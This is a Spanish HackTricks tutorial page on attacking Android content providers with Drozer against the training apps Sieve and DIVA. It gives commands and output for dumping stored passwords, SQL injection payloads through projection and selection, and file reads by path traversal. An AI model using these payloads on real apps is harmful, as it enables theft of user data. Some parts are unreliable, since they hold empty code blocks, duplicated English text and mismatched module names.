# Explotando Proveedores de Contenido ## Explotando Proveedores de Contenido
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Introducción Un componente proveedor de contenido **proporciona datos de una aplicación a otras** a petición. Dichas solicitudes son manejadas por los métodos de la clase ContentResolver. Un proveedor de contenido puede utilizar diferentes formas de almacenar sus datos y los datos pueden estar **almacenados** en una **base de datos**, en **archivos**, o incluso a través de una **red**. Debe ser declarado dentro del archivo _Manifest.xml_. Ejemplo: ```markup ``` En este caso, es necesario el permiso `READ_KEYS` para acceder a `content://com.mwr.example.sieve.DBContentProvider/Keys`. (_También, observe que en la siguiente sección vamos a acceder a `/Keys/` que no está protegido, esto se debe a que el desarrollador se confundió y protegió `/Keys` pero declaró `/Keys/`_) **Tal vez puedas acceder a datos privados o explotar alguna vulnerabilidad (Inyección SQL o Traversal de Ruta).** ## Obtener información de **proveedores de contenido expuestos** ``` dz> run app.provider.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Authority: com.mwr.example.sieve.DBContentProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.DBContentProvider Multiprocess Allowed: True Grant Uri Permissions: False Path Permissions: Path: /Keys Type: PATTERN_LITERAL Read Permission: com.mwr.example.sieve.READ_KEYS Write Permission: com.mwr.example.sieve.WRITE_KEYS Authority: com.mwr.example.sieve.FileBackupProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.FileBackupProvider Multiprocess Allowed: True Grant Uri Permissions: False ``` Podemos **reconstruir** parte de las **URI** del contenido para acceder al **DBContentProvider**, porque sabemos que deben comenzar con "_content://_" y la información obtenida por Drozer dentro de Path: _/Keys_. Drozer puede **adivinar y probar varias URIs**: ``` dz> run scanner.provider.finduris -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Unable to Query content://com.mwr.example.sieve.DBContentProvider/ ... Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys Accessible content URIs: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ ``` También debes revisar el **código del ContentProvider** para buscar consultas: ![](<../../../.gitbook/assets/image (121) (1) (1) (1).png>) Además, si no puedes encontrar consultas completas, puedes **verificar qué nombres son declarados por el ContentProvider** en el método `onCreate`: ![](<../../../.gitbook/assets/image (186).png>) La consulta será como: `content://nombre.del.paquete.clase/nombre_declarado` ## **Content Providers respaldados por bases de datos** Probablemente la mayoría de los Content Providers se utilizan como **interfaz** para una **base de datos**. Por lo tanto, si puedes acceder a ella, podrías ser capaz de **extraer, actualizar, insertar y eliminar** información.\ Revisa si puedes **acceder a información sensible** o intenta cambiarla para **burlar los mecanismos de autorización**. Al revisar el código del Content Provider, **busca** también **funciones** con nombres como: _query, insert, update y delete_: ![](<../../../.gitbook/assets/image (187).png>) ![](<../../../.gitbook/assets/image (254) (1) (1) (1) (1) (1) (1) (1).png>) Porque podrás llamarlas. ### Consulta de contenido ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical _id: 1 service: Email username: incognitoguy50 password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== - email: incognitoguy50@gmail.com ``` ### Insertar contenido Al consultar la base de datos, aprenderás el **nombre de las columnas**, luego podrás insertar datos en la base de datos: ![](<../../../.gitbook/assets/image (188) (1).png>) ![](<../../../.gitbook/assets/image (189) (1).png>) _Nota que en insert y update puedes usar --string para indicar una cadena, --double para indicar un doble, --float, --integer, --long, --short, --boolean_ ### Actualizar contenido Conociendo el nombre de las columnas, también puedes **modificar las entradas**: ![](<../../../.gitbook/assets/image (190).png>) ### Eliminar contenido ![](<../../../.gitbook/assets/image (191).png>) ### **Inyección SQL** Es fácil probar la inyección SQL **(SQLite)** manipulando los campos de **proyección** y **selección** que se pasan al proveedor de contenido.\ Al consultar el proveedor de contenido hay 2 argumentos interesantes para buscar información: _--selection_ y _--projection_: ![](<../../../.gitbook/assets/image (192) (1).png>) Puedes intentar **abusar** de estos **parámetros** para probar las **inyecciones SQL**: ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (') ``` ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" | type | name | tbl_name | rootpage | sql | | table | android_metadata | android_metadata | 3 | CREATE TABLE ... | | table | Passwords | Passwords | 4 | CREATE TABLE ... | ``` **Descubrimiento automático de SQLInjection por Drozer** Drozer has a module called `scanner.provider.sqlinjection` that can be used to automatically discover SQL injection vulnerabilities in content providers. This module sends a series of SQL injection payloads to the target content provider and analyzes the responses to determine if a vulnerability exists. Drozer tiene un módulo llamado `scanner.provider.sqlinjection` que se puede utilizar para descubrir automáticamente vulnerabilidades de inyección SQL en proveedores de contenido. Este módulo envía una serie de cargas útiles de inyección SQL al proveedor de contenido objetivo y analiza las respuestas para determinar si existe una vulnerabilidad. ``` dz> run scanner.provider.injection -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Injection in Projection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ Injection in Selection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ dz> run scanner.provider.sqltables -a jakhar.aseem.diva Scanning jakhar.aseem.diva... Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/: android_metadata notes sqlite_sequence ``` ## **Proveedores de contenido respaldados por el sistema de archivos** Los proveedores de contenido también se pueden utilizar para **acceder a archivos:** ![](<../../../.gitbook/assets/image (193).png>) ### Leer **archivo** Puedes leer archivos desde el proveedor de contenido. ``` dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ``` ### **Traversing de Ruta** Si puedes acceder a archivos, puedes intentar abusar de una Traversing de Ruta (en este caso no es necesario, pero puedes intentar usar "_../_" y trucos similares). ``` dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ``` **Descubrimiento automático de Traversal de ruta por Drozer** Drozer has a module that can be used to automatically discover Path Traversal vulnerabilities in Content Providers. The module is called `scanner.provider.traversal` and it can be used as follows: Drozer tiene un módulo que se puede utilizar para descubrir automáticamente vulnerabilidades de Traversal de ruta en los proveedores de contenido. El módulo se llama `scanner.provider.traversal` y se puede utilizar de la siguiente manera: ``` dz> run scanner.provider.traversal ``` Where `` is the authority of the Content Provider to be scanned. For example: Donde `` es la autoridad del proveedor de contenido que se va a escanear. Por ejemplo: ``` dz> run scanner.provider.traversal content://com.example.provider ``` The module will automatically try to discover Path Traversal vulnerabilities by sending requests to the Content Provider with different traversal patterns. If a vulnerability is found, the module will report it and provide details about the affected Content Provider and the vulnerable URI. El módulo intentará automáticamente descubrir vulnerabilidades de Traversal de ruta enviando solicitudes al proveedor de contenido con diferentes patrones de Traversal. Si se encuentra una vulnerabilidad, el módulo la informará y proporcionará detalles sobre el proveedor de contenido afectado y la URI vulnerable. ``` dz> run scanner.provider.traversal -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Vulnerable Providers: content://com.mwr.example.sieve.FileBackupProvider/ content://com.mwr.example.sieve.FileBackupProvider ``` ## Referencias * [https://www.tutorialspoint.com/android/android\_content\_providers.htm](https://www.tutorialspoint.com/android/android\_content\_providers.htm) * [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).